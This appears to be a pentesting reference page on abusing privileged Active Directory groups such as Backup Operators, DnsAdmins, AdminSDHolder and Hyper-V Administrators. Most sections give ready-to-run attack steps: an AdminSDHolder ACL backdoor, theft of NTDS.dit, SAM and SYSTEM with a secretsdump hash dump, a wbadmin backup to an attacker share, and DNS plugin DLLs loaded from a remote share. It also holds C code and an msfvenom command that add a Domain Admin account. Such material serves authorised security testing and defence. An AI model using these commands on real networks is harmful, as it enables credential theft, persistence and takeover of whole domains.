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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} ## Well Known groups with administration privileges * **Administrators** * **Domain Admins** * **Enterprise Admins** ## Account Operators This group is empowered to create accounts and groups that are not administrators on the domain. Additionally, it enables local login to the Domain Controller (DC). To identify the members of this group, the following command is executed: ```powershell Get-NetGroupMember -Identity "Account Operators" -Recurse ``` Adding new users is permitted, as well as local login to DC01. ## AdminSDHolder group The **AdminSDHolder** group's Access Control List (ACL) is crucial as it sets permissions for all "protected groups" within Active Directory, including high-privilege groups. This mechanism ensures the security of these groups by preventing unauthorized modifications. An attacker could exploit this by modifying the **AdminSDHolder** group's ACL, granting full permissions to a standard user. This would effectively give that user full control over all protected groups. If this user's permissions are altered or removed, they would be automatically reinstated within an hour due to the system's design. Commands to review the members and modify permissions include: ```powershell Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} ``` A script is available to expedite the restoration process: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). For more details, visit [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). ## AD Recycle Bin Membership in this group allows for the reading of deleted Active Directory objects, which can reveal sensitive information: ```bash Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` ### Domain Controller Access Access to files on the DC is restricted unless the user is part of the `Server Operators` group, which changes the level of access. ### Privilege Escalation Using `PsService` or `sc` from Sysinternals, one can inspect and modify service permissions. The `Server Operators` group, for instance, has full control over certain services, allowing for the execution of arbitrary commands and privilege escalation: ```cmd C:\> .\PsService.exe security AppReadiness ``` This command reveals that `Server Operators` have full access, enabling the manipulation of services for elevated privileges. ## Backup Operators Membership in the `Backup Operators` group provides access to the `DC01` file system due to the `SeBackup` and `SeRestore` privileges. These privileges enable folder traversal, listing, and file copying capabilities, even without explicit permissions, using the `FILE_FLAG_BACKUP_SEMANTICS` flag. Utilizing specific scripts is necessary for this process. To list group members, execute: ```powershell Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` ### Local Attack To leverage these privileges locally, the following steps are employed: 1. Import necessary libraries: ```bash Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll ``` 2. Enable and verify `SeBackupPrivilege`: ```bash Set-SeBackupPrivilege Get-SeBackupPrivilege ``` 3. Access and copy files from restricted directories, for instance: ```bash dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite ``` ### AD Attack Direct access to the Domain Controller's file system allows for the theft of the `NTDS.dit` database, which contains all NTLM hashes for domain users and computers. #### Using diskshadow.exe 1. Create a shadow copy of the `C` drive: ```cmd diskshadow.exe set verbose on set metadata C:\Windows\Temp\meta.cab set context clientaccessible begin backup add volume C: alias cdrive create expose %cdrive% F: end backup exit ``` 2. Copy `NTDS.dit` from the shadow copy: ```cmd Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` Alternatively, use `robocopy` for file copying: ```cmd robocopy /B F:\Windows\NTDS .\ntds ntds.dit ``` 3. Extract `SYSTEM` and `SAM` for hash retrieval: ```cmd reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SAM SAM.SAV ``` 4. Retrieve all hashes from `NTDS.dit`: ```shell-session secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL ``` #### Using wbadmin.exe 1. Set up NTFS filesystem for SMB server on attacker machine and cache SMB credentials on the target machine. 2. Use `wbadmin.exe` for system backup and `NTDS.dit` extraction: ```cmd net use X: \\\sharename /user:smbuser password echo "Y" | wbadmin start backup -backuptarget:\\\sharename -include:c:\windows\ntds wbadmin get versions echo "Y" | wbadmin start recovery -version: -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl ``` For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). ## DnsAdmins Members of the **DnsAdmins** group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential. To list members of the DnsAdmins group, use: ```powershell Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` ### Execute arbitrary DLL Members can make the DNS server load an arbitrary DLL (either locally or from a remote share) using commands such as: ```powershell dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: ``` ```c // Modify DLL to add user DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction) { system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain"); system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain"); } ``` ```bash // Generate DLL with msfvenom msfvenom -p windows/x64/exec cmd='net group "domain admins" /add /domain' -f dll -o adduser.dll ``` Restarting the DNS service (which may require additional permissions) is necessary for the DLL to be loaded: ```csharp sc.exe \\dc01 stop dns sc.exe \\dc01 start dns ``` For more details on this attack vector, refer to ired.team. #### Mimilib.dll It's also feasible to use mimilib.dll for command execution, modifying it to execute specific commands or reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information. ### WPAD Record for MitM DnsAdmins can manipulate DNS records to perform Man-in-the-Middle (MitM) attacks by creating a WPAD record after disabling the global query block list. Tools like Responder or Inveigh can be used for spoofing and capturing network traffic. ### Event Log Readers Members can access event logs, potentially finding sensitive information such as plaintext passwords or command execution details: ```powershell # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} ``` ## Exchange Windows Permissions This group can modify DACLs on the domain object, potentially granting DCSync privileges. Techniques for privilege escalation exploiting this group are detailed in Exchange-AD-Privesc GitHub repo. ```powershell # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` ## Hyper-V Administrators Hyper-V Administrators have full access to Hyper-V, which can be exploited to gain control over virtualized Domain Controllers. This includes cloning live DCs and extracting NTLM hashes from the NTDS.dit file. ### Exploitation Example Firefox's Mozilla Maintenance Service can be exploited by Hyper-V Administrators to execute commands as SYSTEM. This involves creating a hard link to a protected SYSTEM file and replacing it with a malicious executable: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe sc.exe start MozillaMaintenance ``` Note: Hard link exploitation has been mitigated in recent Windows updates. ## Organization Management In environments where **Microsoft Exchange** is deployed, a special group known as **Organization Management** holds significant capabilities. This group is privileged to **access the mailboxes of all domain users** and maintains **full control over the 'Microsoft Exchange Security Groups'** Organizational Unit (OU). This control includes the **`Exchange Windows Permissions`** group, which can be exploited for privilege escalation. ### Privilege Exploitation and Commands #### Print Operators Members of the **Print Operators** group are endowed with several privileges, including the **`SeLoadDriverPrivilege`**, which allows them to **log on locally to a Domain Controller**, shut it down, and manage printers. To exploit these privileges, especially if **`SeLoadDriverPrivilege`** is not visible under an unelevated context, bypassing User Account Control (UAC) is necessary. To list the members of this group, the following PowerShell command is used: ```powershell Get-NetGroupMember -Identity "Print Operators" -Recurse ``` For more detailed exploitation techniques related to **`SeLoadDriverPrivilege`**, one should consult specific security resources. #### Remote Desktop Users This group's members are granted access to PCs via Remote Desktop Protocol (RDP). To enumerate these members, PowerShell commands are available: ```powershell Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` Further insights into exploiting RDP can be found in dedicated pentesting resources. #### Remote Management Users Members can access PCs over **Windows Remote Management (WinRM)**. Enumeration of these members is achieved through: ```powershell Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` For exploitation techniques related to **WinRM**, specific documentation should be consulted. #### Server Operators This group has permissions to perform various configurations on Domain Controllers, including backup and restore privileges, changing system time, and shutting down the system. To enumerate the members, the command provided is: ```powershell Get-NetGroupMember -Identity "Server Operators" -Recurse ``` ## References * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) * [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) * [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory) * [https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--](https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--) * [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658) * [http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/](http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/) * [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) * [https://rastamouse.me/2019/01/gpo-abuse-part-1/](https://rastamouse.me/2019/01/gpo-abuse-part-1/) * [https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13](https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13) * [https://github.com/tandasat/ExploitCapcom](https://github.com/tandasat/ExploitCapcom) * [https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp](https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp) * [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) * [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) * [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
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